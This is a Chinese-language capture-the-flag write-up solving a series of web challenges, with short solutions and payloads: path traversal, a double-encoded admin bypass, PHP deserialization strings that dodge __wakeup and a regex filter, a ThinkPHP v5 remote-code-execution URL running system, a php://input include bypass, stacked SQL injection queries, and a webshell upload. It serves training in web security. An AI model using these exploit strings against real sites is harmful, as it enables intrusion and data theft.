web进阶篇
baby_web
根据提示想到初始页面index.php，但是会一直跳转到1.php里，按f12打开index.php,在响应头里找到flag
warmup
开局一张滑稽，查看源码找到source.php,代码审计，查看hint.php,提示flag在ffffllllaaaagggg，通过source.php?file=hint.php?../../../../../../ffffllllaaaagggg找到flag
Training-WWW-Robots
没什么好说的，查看robots.txt文件找到fl0g.php
php2
查看index.phps之后输入/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65（对admin进行两次url编码）
unserialize3
代码审计发现是反序列化，序列化一下就好
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf("$code");
echo serialize($a);
?>
得到O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}，提交获得flag
Web_php_unserialize
将代码放入php中跑一下
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo("fl4g.php");
echo serialize($a);
echo base64_encode($b);
//echo base64_encode('O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}');
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
先序列化，然后O:+4:”Demo”:2:{s:10:”%00Demo%00file”;s:8:”fl4g.php”;}%00在burp中urldecode之后再base64加密TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==得到flag
php_rce
ThinkPHP v5的漏洞
exp
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
Web_php_include
查看源码，使用伪协议，php://小写被屏蔽，切换大写
/?hello=xxxxx&page=Php://input
supersqli
/?inject=1';show databases; --+
/?inject=1';show tables; --+
1919810931114514
words
/?inject=1';show columns from `words`; --+
words里面id data
1919810931114514里面flag
推断：
select id,data from `words` where id='$id'
rename tables `words` to `haha`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);--+
输出绝对正确的答案/?inject=1' or 1 --+
ics-06
跑id，跑到2333出现flag
NewsCenter
sql注入，单引号闭合，不屏蔽#，走流程，得到flag
NaNNaNNaNNaN-Batman
暂时不写，下一个
upload1
文件上传，挂马，菜刀连，flag就不搞了
